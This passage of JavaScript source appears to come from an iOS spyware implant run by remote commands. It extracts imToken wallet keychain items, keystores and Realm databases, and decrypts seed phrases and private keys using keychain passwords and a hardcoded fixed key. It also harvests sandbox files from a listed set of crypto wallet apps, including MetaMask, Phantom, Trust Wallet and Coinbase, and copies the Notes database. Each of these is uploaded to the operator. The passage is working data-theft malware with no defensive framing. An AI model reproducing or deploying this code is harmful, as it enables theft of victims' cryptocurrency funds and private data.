{\n\t\t\tsendResult(cmd.command_id, bytesToBase64(kcBytes),\n\t\t\t\t\"imtoken_keychain.json\", \"imtoken_keychain\");\n\t\t}\n\t} catch(e) {}\n\n\tvar bundleId = \"im.token.app\";\n\tvar containerPath = _findAppContainer(bundleId);\n\tif (!containerPath) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"imToken container not found\",\n\t\t\twallet_type: \"imtoken\",\n\t\t\t_task_id: p._task_id || \"\", _task_type: \"wallet_extract\"\n\t\t}, \"wallet_extract_result.json\");\n\t\treturn;\n\t}\n\n\tvar storageSub = \"Library/Application Support/im.token.app/RCTAsyncLocalStorage_V1\";\n\tvar data = _readAsyncStorage(containerPath, storageSub);\n\tif (!data) {\n\t\tvar altSub = \"Documents/RCTAsyncLocalStorage_V1\";\n\t\tdata = _readAsyncStorage(containerPath, altSub);\n\t}\n\n\tvar result = {\n\t\tstatus: \"success\",\n\t\twallet_type: \"imtoken\",\n\t\tcontainer: containerPath,\n\t\twallets: [],\n\t\tassets: [],\n\t\traw_keys: [],\n\t\trealm_files: [],\n\t\twallet_dir_files: [],\n\t\t_task_id: p._task_id || \"\",\n\t\t_task_type: \"wallet_extract\"\n\t};\n\n\t// --- Phase 1: Realm database extraction (primary wallet storage) ---\n\t// imToken stores Realm in Documents/ (primary) or Library/Application Support/\n\tvar realmUploaded = false;\n\tvar realmSearchDirs = [\n\t\tcontainerPath + \"/Documents\",\n\t\tcontainerPath + \"/Library/Application Support/im.token.app\"\n\t];\n\tfor (var rdi = 0; rdi < realmSearchDirs.length; rdi++) {\n\t\tif (realmUploaded) break;\n\t\tvar realmDir = realmSearchDirs[rdi];\n\t\ttry {\n\t\t\tvar realmPath = realmDir + \"/default.realm\";\n\t\t\tvar realmSt = _statFile(realmPath);\n\t\t\tif (realmSt && realmSt.isFile && realmSt.size > 0) {\n\t\t\t\tresult.realm_files.push({\n\t\t\t\t\tpath: realmPath, size: realmSt.size\n\t\t\t\t});\n\t\t\t\tvar realmMaxSz = 16 * 1024 * 1024;\n\t\t\t\tif (realmSt.size <= realmMaxSz) {\n\t\t\t\t\tvar realmData = readFileB64(realmPath, realmMaxSz);\n\t\t\t\t\tif (realmData) {\n\t\t\t\t\t\tsendResult(cmd.command_id, realmData.b64,\n\t\t\t\t\t\t\t\"imtoken_default.realm\", \"wallet_extract\");\n\t\t\t\t\t\trealmUploaded = true;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tsendFileChunked(cmd.command_id, realmPath,\n\t\t\t\t\t\t\"imtoken_default.realm\", \"wallet_extract\");\n\t\t\t\t\trealmUploaded = true;\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (realmErr) {\n\t\t\tresult.realm_error = String(realmErr);\n\t\t}\n\t}\n\n\t// --- Phase 2: Scan walletsV2/ and wallets/ directories for keystore files ---\n\t// These dirs can be in Documents/ or Library/Application Support/im.token.app/\n\tvar walletDirs = [];\n\tvar walletSearchBases = [\n\t\tcontainerPath + \"/Documents\",\n\t\tcontainerPath + \"/Library/Application Support/im.token.app\"\n\t];\n\tfor (var wb = 0; wb < walletSearchBases.length; wb++) {\n\t\tvar wbDir = walletSearchBases[wb];\n\t\tvar v2 = wbDir + \"/walletsV2\";\n\t\tvar v1 = wbDir + \"/wallets\";\n\t\tif (_statFile(v2)) walletDirs.push(v2);\n\t\tif (_statFile(v1)) walletDirs.push(v1);\n\t}\n\n\t// Keychain password for decryption attempts\n\tvar keychainPassword = null;\n\tresult.keychain_items = [];\n\ttry {\n\t\tvar keychainItems = _findImtokenKeychainPassword();\n\t\tif (keychainItems && keychainItems.length > 0) {\n\t\t\tfor (var ki = 0; ki < keychainItems.length; ki++) {\n\t\t\t\tresult.keychain_items.push(keychainItems[ki]);\n\t\t\t\tif (!keychainPassword && keychainItems[ki].data &&\n\t\t\t\t\tkeychainItems[ki].data.length >= 4) {\n\t\t\t\t\tkeychainPassword = keychainItems[ki].data;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t} catch (kcErr) {\n\t\tresult.keychain_error = String(kcErr);\n\t}\n\tvar password = p.password || keychainPassword;\n\n\tfor (var di = 0; di < walletDirs.length; di++) {\n\t\tvar wdir = walletDirs[di];\n\t\tvar wdirSt = _statFile(wdir);\n\t\tif (!wdirSt || !wdirSt.isDir) continue;\n\t\tvar entries = listDir(wdir);\n\t\tfor (var ei = 0; ei < entries.length; ei++) {\n\t\t\tvar ent = entries[ei];\n\t\t\tvar entPath = wdir + \"/\" + ent.name;\n\t\t\tif (ent.type === \"file\") {\n\t\t\t\tresult.wallet_dir_files.push({\n\t\t\t\t\tdir: di === 0 ? \"walletsV2\" : \"wallets\",\n\t\t\t\t\tname: ent.name\n\t\t\t\t});\n\t\t\t\tvar entSt = _statFile(entPath);\n\t\t\t\tif (entSt && entSt.size > 0 && entSt.size < 4 * 1024 * 1024) {\n\t\t\t\t\tvar fb64 = readFileB64(entPath, 4 * 1024 * 1024);\n\t\t\t\t\tif (fb64) {\n\t\t\t\t\t\tvar fname = (di === 0 ? \"walletsV2_\" : \"wallets_\") + ent.name;\n\t\t\t\t\t\tsendResult(cmd.command_id, fb64.b64,\n\t\t\t\t\t\t\tfname, \"wallet_extract\");\n\t\t\t\t\t}\n\t\t\t\t\t// Parse JSON wallet files and attempt decryption\n\t\t\t\t\tif (ent.name.endsWith(\".json\")) {\n\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\tvar fileBytes = _readFileBytes(entPath, 4 * 1024 * 1024);\n\t\t\t\t\t\t\tif (fileBytes) {\n\t\t\t\t\t\t\t\tvar w = JSON.parse(_rawToStr(fileBytes));\n\t\t\t\t\t\t\t\tvar walletInfo = {\n\t\t\t\t\t\t\t\t\tid: w.id || ent.name.replace(\".json\", \"\"),\n\t\t\t\t\t\t\t\t\tname: (w.imTokenMeta && w.imTokenMeta.name) || \"\",\n\t\t\t\t\t\t\t\t\tsource: (w.imTokenMeta && w.imTokenMeta.source) || \"\",\n\t\t\t\t\t\t\t\t\tnetwork: (w.imTokenMeta && w.imTokenMeta.network) || \"\",\n\t\t\t\t\t\t\t\t\tversion: w.version || 0,\n\t\t\t\t\t\t\t\t\tfrom_dir: di === 0 ? \"walletsV2\" : \"wallets\"\n\t\t\t\t\t\t\t\t};\n\t\t\t\t\t\t\t\tif (w.crypto) {\n\t\t\t\t\t\t\t\t\twalletInfo.kdf = w.crypto.kdf || \"unknown\";\n\t\t\t\t\t\t\t\t\twalletInfo.cipher = w.crypto.cipher || \"unknown\";\n\t\t\t\t\t\t\t\t\twalletInfo.keystore_present = true;\n\t\t\t\t\t\t\t\t\tif (password) {\n\t\t\t\t\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\t\t\t\tvar decResult = _decryptKeystoreV3(w.crypto, password);\n\t\t\t\t\t\t\t\t\t\t\tif (decResult) {\n\t\t\t\t\t\t\t\t\t\t\t\twalletInfo.decrypt_result = decResult;\n\t\t\t\t\t\t\t\t\t\t\t\twalletInfo.password_source = p.password ? \"provided\" : \"keychain\";\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t} catch (decErr) {\n\t\t\t\t\t\t\t\t\t\t\twalletInfo.decrypt_error = String(decErr);\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif (w.encOriginal) {\n\t\t\t\t\t\t\t\t\twalletInfo.encOriginal_present = true;\n\t\t\t\t\t\t\t\t\tvar fixedKey = \"456b38706c33314b3279654867517779\";\n\t\t\t\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\t\t\tvar decOrig = _decryptEncryptedMessage(w.encOriginal, fixedKey);\n\t\t\t\t\t\t\t\t\t\tif (decOrig) walletInfo.original_fixed_key = decOrig;\n\t\t\t\t\t\t\t\t\t} catch (origErr) {\n\t\t\t\t\t\t\t\t\t\twalletInfo.encOriginal_error = String(origErr);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif (w.encMnemonic) {\n\t\t\t\t\t\t\t\t\twalletInfo.encMnemonic_present = true;\n\t\t\t\t\t\t\t\t\tvar fixedKey2 = \"456b38706c33314b3279654867517779\";\n\t\t\t\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\t\t\tvar decMnem = _decryptEncryptedMessage(w.encMnemonic, fixedKey2);\n\t\t\t\t\t\t\t\t\t\tif (decMnem) walletInfo.mnemonic_fixed_key = decMnem;\n\t\t\t\t\t\t\t\t\t} catch (mnemErr) {\n\t\t\t\t\t\t\t\t\t\twalletInfo.encMnemonic_error = String(mnemErr);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif (w.identity) {\n\t\t\t\t\t\t\t\t\twalletInfo.identifier = w.identity.identifier || \"\";\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tresult.wallets.push(walletInfo);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} catch (parseErr) {}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else if (ent.type === \"dir\") {\n\t\t\t\tvar subEntries = listDir(entPath);\n\t\t\t\tfor (var si = 0; si < subEntries.length; si++) {\n\t\t\t\t\tvar subEnt = subEntries[si];\n\t\t\t\t\tif (subEnt.type !== \"file\") continue;\n\t\t\t\t\tvar subPath = entPath + \"/\" + subEnt.name;\n\t\t\t\t\tresult.wallet_dir_files.push({\n\t\t\t\t\t\tdir: (di === 0 ? \"walletsV2\" : \"wallets\") + \"/\" + ent.name,\n\t\t\t\t\t\tname: subEnt.name\n\t\t\t\t\t});\n\t\t\t\t\tvar subSt = _statFile(subPath);\n\t\t\t\t\tif (subSt && subSt.size > 0 && subSt.size < 4 * 1024 * 1024) {\n\t\t\t\t\t\tvar sb64 = readFileB64(subPath, 4 * 1024 * 1024);\n\t\t\t\t\t\tif (sb64) {\n\t\t\t\t\t\t\tvar sfname = (di === 0 ? \"walletsV2_\" : \"wallets_\") +\n\t\t\t\t\t\t\t\tent.name + \"_\" + subEnt.name;\n\t\t\t\t\t\t\tsendResult(cmd.command_id, sb64.b64,\n\t\t\t\t\t\t\t\tsfname, \"wallet_extract\");\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// --- Phase 3: AsyncStorage (Redux persist) ---\n\tif (data) {\n\t\tvar rawKeys = Object.keys(data);\n\t\tresult.raw_keys = rawKeys;\n\n\t\tvar walletsRaw = null;\n\t\tif (data[\"walletsV2\"]) {\n\t\t\ttry { walletsRaw = JSON.parse(data[\"walletsV2\"]); } catch(e) {}\n\t\t}\n\t\tif (!walletsRaw && data[\"wallets\"]) {\n\t\t\ttry { walletsRaw = JSON.parse(data[\"wallets\"]); } catch(e) {}\n\t\t}\n\n\t\tif (walletsRaw) {\n\t\t\tvar wArr = Array.isArray(walletsRaw) ? walletsRaw :\n\t\t\t\t(walletsRaw.wallets ? walletsRaw.wallets : [walletsRaw]);\n\t\t\tfor (var wi = 0; wi < wArr.length; wi++) {\n\t\t\t\tvar w = wArr[wi];\n\t\t\t\tvar walletInfo = {\n\t\t\t\t\tid: w.id || w.walletID || (\"wallet_\" + wi),\n\t\t\t\t\tname: w.name || \"\",\n\t\t\t\t\taddress: w.address || \"\",\n\t\t\t\t\tsource: w.source || \"\",\n\t\t\t\t\tchainType: w.chainType || \"\"\n\t\t\t\t};\n\n\t\t\t\tif (w.keystore || w.crypto) {\n\t\t\t\t\tvar ks = w.keystore || { crypto: w.crypto };\n\t\t\t\t\twalletInfo.keystore_raw = ks;\n\t\t\t\t\twalletInfo.kdf = ks.crypto ? ks.crypto.kdf : \"unknown\";\n\n\t\t\t\t\tif (password) {\n\t\t\t\t\t\tvar decResult = _decryptKeystoreV3(ks.crypto, password);\n\t\t\t\t\t\tif (decResult) {\n\t\t\t\t\t\t\twalletInfo.decrypt_result = decResult;\n\t\t\t\t\t\t\twalletInfo.password_source = p.password ? \"provided\" : \"keychain\";\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif (w.encMnemonic) {\n\t\t\t\t\twalletInfo.encMnemonic_raw = w.encMnemonic;\n\t\t\t\t\tif (typeof w.encMnemonic === \"object\" && w.encMnemonic.encStr) {\n\t\t\t\t\t\tvar fixedKey = \"456b38706c33314b3279654867517779\";\n\t\t\t\t\t\tvar dec = _decryptEncryptedMessage(w.encMnemonic, fixedKey);\n\t\t\t\t\t\tif (dec) walletInfo.mnemonic_fixed_key = dec;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif (w.encOriginal) {\n\t\t\t\t\twalletInfo.encOriginal_raw = w.encOriginal;\n\t\t\t\t\tif (typeof w.encOriginal === \"object\" && w.encOriginal.encStr) {\n\t\t\t\t\t\tvar fixedKey2 = \"456b38706c33314b3279654867517779\";\n\t\t\t\t\t\tvar dec2 = _decryptEncryptedMessage(w.encOriginal, fixedKey2);\n\t\t\t\t\t\tif (dec2) walletInfo.original_fixed_key = dec2;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tresult.wallets.push(walletInfo);\n\t\t\t}\n\t\t}\n\n\t\tif (data[\"AssetToken\"]) {\n\t\t\ttry {\n\t\t\t\tvar assetData = JSON.parse(data[\"AssetToken\"]);\n\t\t\t\tvar items = assetData.itemsById || assetData;\n\t\t\t\tif (typeof items === \"object\") {\n\t\t\t\t\tfor (var assetKey in items) {\n\t\t\t\t\t\tif (!items.hasOwnProperty(assetKey)) continue;\n\t\t\t\t\t\tvar a = items[assetKey];\n\t\t\t\t\t\tresult.assets.push({\n\t\t\t\t\t\t\twalletAddress: a.walletAddress || a.accountAddress || \"\",\n\t\t\t\t\t\t\tchainId: a.chainId || \"\",\n\t\t\t\t\t\t\tchainType: a.chainType || \"\",\n\t\t\t\t\t\t\tname: a.name || \"\",\n\t\t\t\t\t\t\tsymbol: a.symbol || \"\",\n\t\t\t\t\t\t\tbalance: a.balance || \"0\",\n\t\t\t\t\t\t\tdecimal: a.decimal || 0\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} catch(e) {\n\t\t\t\tresult.asset_parse_error = String(e);\n\t\t\t}\n\t\t}\n\n\t\tvar sensitiveKeys = [\"walletsV2\", \"wallets\", \"crypto\", \"encMnemonic\",\n\t\t\t\"encOriginal\", \"AssetToken\", \"identities\", \"accounts\"];\n\t\tvar rawData = {};\n\t\tfor (var ki = 0; ki < sensitiveKeys.length; ki++) {\n\t\t\tif (data[sensitiveKeys[ki]]) {\n\t\t\t\trawData[sensitiveKeys[ki]] = data[sensitiveKeys[ki]];\n\t\t\t}\n\t\t}\n\t\tfor (var rk = 0; rk < rawKeys.length; rk++) {\n\t\t\tvar lk = rawKeys[rk].toLowerCase();\n\t\t\tif (lk.indexOf(\"wallet\") >= 0 || lk.indexOf(\"token\") >= 0 ||\n\t\t\t\tlk.indexOf(\"mnemonic\") >= 0 || lk.indexOf(\"seed\") >= 0 ||\n\t\t\t\tlk.indexOf(\"key\") >= 0 || lk.indexOf(\"account\") >= 0 ||\n\t\t\t\tlk.indexOf(\"identity\") >= 0 || lk.indexOf(\"crypto\") >= 0) {\n\t\t\t\tif (!rawData[rawKeys[rk]]) rawData[rawKeys[rk]] = data[rawKeys[rk]];\n\t\t\t}\n\t\t}\n\n\t\tif (Object.keys(rawData).length > 0) {\n\t\t\tvar rawJson = JSON.stringify(rawData);\n\t\t\tvar rawB64 = bytesToBase64(new Uint8Array(Native.stringToBytes(rawJson, false)));\n\t\t\tsendResult(cmd.command_id, rawB64,\n\t\t\t\t\"imtoken_raw_storage.json\", \"wallet_extract\");\n\t\t}\n\t} else {\n\t\tresult.async_storage_status = \"not_found\";\n\t}\n\n\tresult.realm_uploaded = realmUploaded;\n\tvar endMs = Date.now();\n\tresult.execution_time = (endMs - startMs) / 1000;\n\tsendJSON(cmd.command_id, result, \"wallet_extract_result.json\",\n\t\t{ start_ms: startMs, end_ms: endMs });\n}\n\n// ============================================================================\n// ios_app_data: collect sandboxed app data by bundle_id\n// ============================================================================\n\nvar APP_DATA_BASE = \"/var/mobile/Containers/Data/Application\";\nvar APP_GROUP_BASE = \"/var/mobile/Containers/Shared/AppGroup\";\n\nfunction _toFfsPath(absPath) {\n\tif (absPath.indexOf(\"/private/\") === 0) return absPath.substring(1);\n\tif (absPath.indexOf(\"/var/\") === 0) return \"private\" + absPath;\n\tif (absPath.charAt(0) === \"/\") return absPath.substring(1);\n\treturn absPath;\n}\n\nfunction _findContainerIn(basePath, bundleId) {\n\tvar dirs = listDir(basePath);\n\tfor (var i = 0; i < dirs.length; i++) {\n\t\tif (dirs[i].type !== \"dir\") continue;\n\t\tvar containerPath = basePath + \"/\" + dirs[i].name;\n\t\tvar plistPath = containerPath + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tvar acc = Number(Native.callSymbol(\"access\", plistPath, 0));\n\t\tif (acc !== 0) continue;\n\t\tvar bytes = _readFileBytes(plistPath, 8192);\n\t\tif (!bytes || bytes.length === 0) continue;\n\t\tvar content = _rawToStr(bytes);\n\t\tif (content.indexOf(bundleId) >= 0) return containerPath;\n\t}\n\treturn null;\n}\n\nfunction _findAppContainer(bundleId) {\n\treturn _findContainerIn(APP_DATA_BASE, bundleId);\n}\n\nfunction _findAppGroupContainer(bundleId) {\n\treturn _findContainerIn(APP_GROUP_BASE, bundleId);\n}\n\nfunction _collectAppFiles(basePath, subPaths, excludePaths, filterMode, fileExts, maxFileSizeMB) {\n\tvar maxBytes = (maxFileSizeMB && maxFileSizeMB > 0) ? maxFileSizeMB * 1024 * 1024 : 0;\n\tvar exts = [];\n\tif (fileExts) {\n\t\tvar parts = fileExts.split(\",\");\n\t\tfor (var i = 0; i < parts.length; i++) {\n\t\t\tvar e = parts[i].trim();\n\t\t\tif (e) exts.push(e.toLowerCase());\n\t\t}\n\t}\n\n\tvar scanRoots = [];\n\tif (subPaths && subPaths.length > 0) {\n\t\tfor (var i = 0; i < subPaths.length; i++) {\n\t\t\tvar sp = subPaths[i];\n\t\t\tvar full = (sp.charAt(0) === \"/\") ? basePath + sp : basePath + \"/\" + sp;\n\t\t\tif (_statFile(full)) scanRoots.push(full);\n\t\t}\n\t} else {\n\t\tscanRoots.push(basePath);\n\t}\n\n\tvar excludeFull = [];\n\tif (excludePaths) {\n\t\tfor (var i = 0; i < excludePaths.length; i++) {\n\t\t\texcludeFull.push(basePath + excludePaths[i]);\n\t\t}\n\t}\n\n\tvar files = [];\n\tfor (var ri = 0; ri < scanRoots.length; ri++) {\n\t\t_scanDir(scanRoots[ri], files, true, excludeFull,\n\t\t\tfilterMode || \"none\", exts, maxBytes);\n\t}\n\treturn files;\n}\n\nfunction handleIosAppData(cmd) {\n\tvar p = cmd.params || {};\n\tvar targets = p.targets || [];\n\tvar maxFileSizeMB = (p.max_file_size_mb !== undefined) ? p.max_file_size_mb : 500;\n\tvar startMs = Date.now();\n\n\tif (!targets.length) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"empty targets array\",\n\t\t\t_task_id: p._task_id || \"\", _task_type: \"ios_app_data\"\n\t\t}, \"ios_app_data_result.json\", { start_ms: startMs, end_ms: Date.now() });\n\t\treturn;\n\t}\n\n\tvar totalCollected = 0;\n\tvar totalUploaded = 0;\n\tvar targetResults = [];\n\n\tfor (var ti = 0; ti < targets.length; ti++) {\n\t\tvar t = targets[ti];\n\t\tvar bundleId = t.bundle_id;\n\t\tif (!bundleId) {\n\t\t\ttargetResults.push({ bundle_id: \"\", status: \"skipped\", error: \"empty bundle_id\" });\n\t\t\tcontinue;\n\t\t}\n\n\t\tvar containerPath = _findAppContainer(bundleId);\n\t\tvar groupPath = _findAppGroupContainer(bundleId);\n\n\t\tif (!containerPath && !groupPath) {\n\t\t\ttargetResults.push({ bundle_id: bundleId, status: \"not_found\",\n\t\t\t\terror: \"app container not found\" });\n\t\t\tcontinue;\n\t\t}\n\n\t\tvar effectiveMax = maxFileSizeMB;\n\t\tif (effectiveMax === -1) effectiveMax = 0;\n\n\t\tvar containers = [];\n\t\tif (containerPath) containers.push(containerPath);\n\t\tif (groupPath) containers.push(groupPath);\n\n\t\tvar uploaded = 0;\n\t\tvar allFiles = 0;\n\n\t\tfor (var ci = 0; ci < containers.length; ci++) {\n\t\t\tvar ctrPath = containers[ci];\n\t\t\tvar files = _collectAppFiles(ctrPath, t.paths || null,\n\t\t\t\tt.exclude_paths || null, t.filter_mode || \"none\",\n\t\t\t\tt.file_extensions || \"\", effectiveMax);\n\t\t\tallFiles += files.length;\n\n\t\t\tfor (var fi = 0; fi < files.length; fi++) {\n\t\t\t\tvar fname = _toFfsPath(files[fi]);\n\n\t\t\t\tvar sz = getFileSize(files[fi]);\n\t\t\t\tif (sz <= 0) continue;\n\n\t\t\t\tvar isLast = (ci === containers.length - 1 && fi === files.length - 1);\n\t\t\t\tvar meta = isLast ? { start_ms: startMs, end_ms: Date.now() } : null;\n\n\t\t\t\tif (sz <= CHUNK_SIZE) {\n\t\t\t\t\tvar rd = readFileB64(files[fi],\n\t\t\t\t\t\teffectiveMax > 0 ? effectiveMax * 1024 * 1024 : MAX_FILE_SIZE);\n\t\t\t\t\tif (rd) {\n\t\t\t\t\t\tsendResult(cmd.command_id, rd.b64, fname, \"ios_app_data\", meta);\n\t\t\t\t\t\tuploaded++;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tvar chunkRes = sendFileChunked(cmd.command_id, files[fi],\n\t\t\t\t\t\tfname, \"ios_app_data\", meta);\n\t\t\t\t\tif (chunkRes && chunkRes.ok) uploaded++;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\ttotalCollected += allFiles;\n\t\ttotalUploaded += uploaded;\n\t\ttargetResults.push({\n\t\t\tbundle_id: bundleId,\n\t\t\tcontainer: containerPath || null,\n\t\t\tapp_group: groupPath || null,\n\t\t\tstatus: \"done\",\n\t\t\tfiles_found: allFiles,\n\t\t\tfiles_uploaded: uploaded\n\t\t});\n\t}\n\n\tvar endMs = Date.now();\n\tsendJSON(cmd.command_id, {\n\t\tstatus: totalUploaded > 0 ? \"success\" : (totalCollected > 0 ? \"partial\" : \"empty\"),\n\t\tfile_count: totalUploaded,\n\t\ttotal_scanned: totalCollected,\n\t\ttargets_processed: targetResults.length,\n\t\ttarget_details: targetResults,\n\t\texecution_time: (endMs - startMs) / 1000,\n\t\t_task_id: p._task_id || \"\",\n\t\t_task_type: \"ios_app_data\"\n\t}, \"ios_app_data_result.json\", { start_ms: startMs, end_ms: endMs });\n}\n\n// ============================================================================\n// wallet_scan: scan installed wallet apps and collect sandbox files\n// ============================================================================\n\nvar WALLET_BUNDLE_IDS = {\n\t// All listed wallets collect sandbox hot-files when installed.\n\t// Keychain dump still covers secrets; sandbox globs catch app-local vaults.\n\t\"com.bitpie.wallet\": { name: \"Bitpie\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Preferences/com.bitpie.wallet.plist\"] },\n\t\"com.uniswap.mobile\": { name: \"Uniswap\", sandbox: true,\n\t\tfiles: [\"Library/Application Support/*/RCTAsyncLocalStorage_V1/*\", \"Documents/*\"] },\n\t\"app.phantom\": { name: \"Phantom\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Application Support/*/*\"] },\n\t\"com.solflare.mobile\": { name: \"Solflare\", sandbox: true,\n\t\tfiles: [\"Documents/mmkv/*\", \"Library/Preferences/com.solflare.mobile.plist\"] },\n\t\"org.mytonwallet.app\": { name: \"MyTonWallet\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Application Support/*/*\"] },\n\t\"org.toshi\": { name: \"Coinbase\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Application Support/*/*\", \"Library/Preferences/org.toshi.plist\"] },\n\t\"io.metamask.MetaMask\": { name: \"MetaMask\", sandbox: true,\n\t\tmaxFileSize: 5 * 1024 * 1024,\n\t\tfiles: [\"Documents/persist-root\", \"Documents/*\", \"Library/Application Support/*/*\"] },\n\t\"com.okex.OKExAppstoreFull\": { name: \"OKX\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Preferences/com.okex.OKExAppstoreFull.plist\",\n\t\t\t\"Library/Application Support/*/*\"] },\n\t\"exodusmovement.exodus\": { name: \"Exodus\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Application Support/*/*\"] },\n\t\"exodus-movement.exodus\": { name: \"Exodus\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Application Support/*/*\"] },\n\t\"com.jbig.tonkeeper\": { name: \"Tonkeeper\", sandbox: true,\n\t\tfiles: [\"Documents/mmkv/*\", \"Documents/*\", \"Library/Application Support/*/*\"] },\n\n\t\"com.sixdays.trust\": { name: \"Trust Wallet\", sandbox: true,\n\t\tfiles: [\"Documents/UTC--*\", \"Documents/keystore/UTC--*\", \"Documents/*\"] },\n\t\"com.bitkeep.os\": { name: \"Bitget\", sandbox: true,\n\t\tfiles: [\"Library/Preferences/com.bitkeep.os.plist\", \"Documents/*\"] },\n\t\"coin98.crypto.finance.insights\": { name: \"Coin98\", sandbox: true,\n\t\tmaxFileSize: 10 * 1024 * 1024,\n\t\tfiles: [\"Library/Application Support/coin98.crypto.finance.insights/RCTAsyncLocalStorage_V1/*\",\n\t\t\t\"Documents/mmkv/*\", \"Library/Application Support/mmkv/*\"] },\n\t\"com.tonhub.app\": { name: \"Tonhub\", sandbox: true,\n\t\tfiles: [\"Documents/mmkv/mmkv.default\", \"Documents/mmkv/*\"] },\n\t\"com.tronlink.hdwallet\": { name: \"TronLink\", sandbox: true,\n\t\tfiles: [\"Documents/keystore/UTC--*\", \"Documents/UTC--*\", \"Documents/wallets/*\",\n\t\t\t\"Documents/*\", \"Library/Preferences/com.tronlink.hdwallet.plist\"] },\n\t\"com.global.wallet.ios\": { name: \"TokenPocket\", sandbox: true,\n\t\tfiles: [\"Documents/wallets/*\", \"Documents/identity.json\", \"Documents/*\",\n\t\t\t\"Library/Preferences/com.global.wallet.ios.plist\"] },\n\t\"im.token.app\": { name: \"imToken\", sandbox: true,\n\t\tfiles: [\"Documents/walletsV2/*.json\", \"Documents/walletsV2/*\", \"Documents/*\",\n\t\t\t\"Documents/default.realm\"] }\n};\n\nfunction _resolveWalletFiles(containerPath, patterns) {\n\t// Supports mid-path globs: \"Library/Application Support/*/*\"\n\tvar results = [];\n\tvar seen = {};\n\tfunction pushFile(rel, abs) {\n\t\tif (seen[rel]) return;\n\t\tseen[rel] = true;\n\t\tresults.push({ relPath: rel, absPath: abs });\n\t}\n\tfunction expand(relPrefix, segs, si) {\n\t\tif (si >= segs.length) return;\n\t\tvar seg = segs[si];\n\t\tif (!seg) { expand(relPrefix, segs, si + 1); return; }\n\t\tvar isLast = (si === segs.length - 1);\n\t\tvar dirPath = containerPath + (relPrefix ? \"/\" + relPrefix : \"\");\n\t\tif (seg.indexOf(\"*\") >= 0 || seg.indexOf(\"?\") >= 0) {\n\t\t\tvar items = listDir(dirPath);\n\t\t\tfor (var i = 0; i < items.length; i++) {\n\t\t\t\tif (!_matchGlob(items[i].name, seg)) continue;\n\t\t\t\tvar nextRel = relPrefix ? (relPrefix + \"/\" + items[i].name) : items[i].name;\n\t\t\t\tif (isLast) {\n\t\t\t\t\tif (items[i].type === \"file\")\n\t\t\t\t\t\tpushFile(nextRel, dirPath + \"/\" + items[i].name);\n\t\t\t\t} else if (items[i].type === \"dir\") {\n\t\t\t\t\texpand(nextRel, segs, si + 1);\n\t\t\t\t}\n\t\t\t}\n\t\t} else if (isLast) {\n\t\t\tvar full = dirPath + \"/\" + seg;\n\t\t\tif (Number(Native.callSymbol(\"access\", full, 0)) === 0)\n\t\t\t\tpushFile(relPrefix ? (relPrefix + \"/\" + seg) : seg, full);\n\t\t} else {\n\t\t\texpand(relPrefix ? (relPrefix + \"/\" + seg) : seg, segs, si + 1);\n\t\t}\n\t}\n\tfor (var pi = 0; pi < patterns.length; pi++)\n\t\texpand(\"\", patterns[pi].split(\"/\"), 0);\n\treturn results;\n}\n\n// ============================================================================\n// Memo Scan: read notes.sqlite and upload structured memo data\n// ============================================================================\n\nfunction _findNoteStore() {\n\t// iOS 18 NoteStore.sqlite (AppGroup) - check first\n\tvar agBase = \"/var/mobile/Containers/Shared/AppGroup\";\n\tvar dirs = listDir(agBase);\n\tfor (var d = 0; d < dirs.length; d++) {\n\t\tif (dirs[d].type !== \"dir\") continue;\n\t\tvar p = agBase + \"/\" + dirs[d].name + \"/NoteStore.sqlite\";\n\t\tif (Number(Native.callSymbol(\"access\", p, 0)) === 0) return p;\n\t}\n\t// Legacy fallback\n\tvar bases = [\n\t\t\"/private/var/mobile/Library/Notes/notes.sqlite\",\n\t\t\"/tmp/notes.sqlite\"\n\t];\n\tfor (var i = 0; i < bases.length; i++) {\n\t\tif (Number(Native.callSymbol(\"access\", bases[i], 0)) === 0) return bases[i];\n\t}\n\treturn \"\";\n}\n\nfunction handleMemoScan(cmd) {\n\tvar startMs = Date.now();\n\tvar uploaded = 0;\n\tvar dbPath = _findNoteStore();\n\tif (dbPath) {\n\t\tvar suffixes = [\"\", \"-wal\", \"-shm\"];\n\t\tfor (var i = 0; i < suffixes.length; i++) {\n\t\t\tvar fp = dbPath + suffixes[i];\n\t\t\tvar sz = getFileSize(fp);\n\t\t\tif (sz <= 0) continue;\n\t\t\tvar fname = fp.substring(fp.lastIndexOf(\"/\") + 1);\n\t\t\tif (sz <= 